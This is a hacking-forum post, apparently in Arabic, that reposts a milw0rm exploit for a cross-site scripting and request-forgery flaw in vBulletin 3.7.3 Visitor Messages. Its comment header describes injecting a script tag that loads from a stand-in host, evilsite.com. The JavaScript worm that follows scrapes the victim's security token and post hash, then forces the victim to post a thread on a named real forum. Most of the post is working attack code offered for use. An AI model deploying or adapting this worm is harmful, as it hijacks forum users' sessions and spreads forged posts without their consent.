:: vBspiders Professional Network :: - مطلوب شرح لآستغلآل الثغرهـ لآهنتم لآهل الخبرهـ

كود PHP:
   /* -----------------------------

 * Author      = Mx

 * Title       = vBulletin 3.7.3 Visitor Messages XSS/XSRF + worm

 * Software    = vBulletin

 * Addon       = Visitor Messages

 * Version     = 3.7.3

 * Attack      = XSS/XSRF

 
 - Description = A critical vulnerability exists in the new vBulletin 3.7.3 software which comes included

 + with the visitor messages addon (a clone of a social network wall/comment area).

 - When posting XSS, the data is run through htmlentities(); before being displayed

 + to the general public/forum members. However, when posting a new message,

 - a new notification is sent to the commentee. The commenter posts a XSS vector such as

 + <script src="http://evilsite.com/nbd.js">, and when the commentee visits usercp.php

 - under the domain, they are hit with an unfiltered xss attach. XSRF is also readily available

 + and I have included an example worm that makes the user post a new thread with your own

 - specified subject and message.

 
 * Enjoy. Greets to Zain, Ytcracker, and http://digitalgangster.com which was the first subject

 * of the attack method.

 * ----------------------------- */

 
function getNewHttpObject() {

var objType = false;

try {

objType = new ActiveXObject('Msxml2.XMLHTTP');

} catch(e) {

try {

objType = new ActiveXObject('Microsoft.XMLHTTP');

} catch(e) {

objType = new XMLHttpRequest();

}

}

return objType;

}

 
function getAXAH(url){

 
var theHttpRequest = getNewHttpObject();

theHttpRequest.onreadystatechange = function() {processAXAH();};

theHttpRequest.open("GET", url);

theHttpRequest.send(false);

 
function processAXAH(){

if (theHttpRequest.readyState == 4) {

if (theHttpRequest.status == 200) {

 
var str = theHttpRequest.responseText;

var secloc = str.indexOf('var SECURITYTOKEN = "');

var sectok = str.substring(21+secloc,secloc+51+21);

 
var posloc = str.indexOf('posthash" value="');

var postok = str.substring(17+posloc,posloc+32+17);

 
var subject = 'subject text';

var message = 'message text';

 
postAXAH('http://digitalgangster.com/4um/newthread.php?do=postthread&f=5', 'subject=' + subject + '&message=' + message + '&wysiwyg=0&taglist=&iconid=0&s=&securitytoken=' + sectok + '&f=5&do=postthread&posthash=' + postok + 'poststarttime=1&loggedinuser=1&sbutton=Submit+New+Thread&signature=1&parseurl=1&emailupdate=0&polloptions=4');

 
}

}

}

}

 
 
 
 
 
 
 
 
function postAXAH(url, params) {

var theHttpRequest = getNewHttpObject();

               

theHttpRequest.onreadystatechange = function() {processAXAHr(elementContainer);};

theHttpRequest.open("POST", url);

theHttpRequest.setRequestHeader('*******-Type', 'application/x-www-form-urlencoded; charset=iso-8859-2');

theHttpRequest.send(params);

 
function processAXAHr(elementContainer){

if (theHttpRequest.readyState == 4) {

if (theHttpRequest.status == 200) {

 
}

}

}

}

 
 
getAXAH('http://digitalgangster.com/4um/newthread.php?do=newthread&f=5');

********.write('<****** src="http://digitalgangster.com/4um/newthread.php?do=newthread&f=5">');

 
# milw0rm.com [2008-11-20]
المصدر : http://milw0rm.com/exploits/7174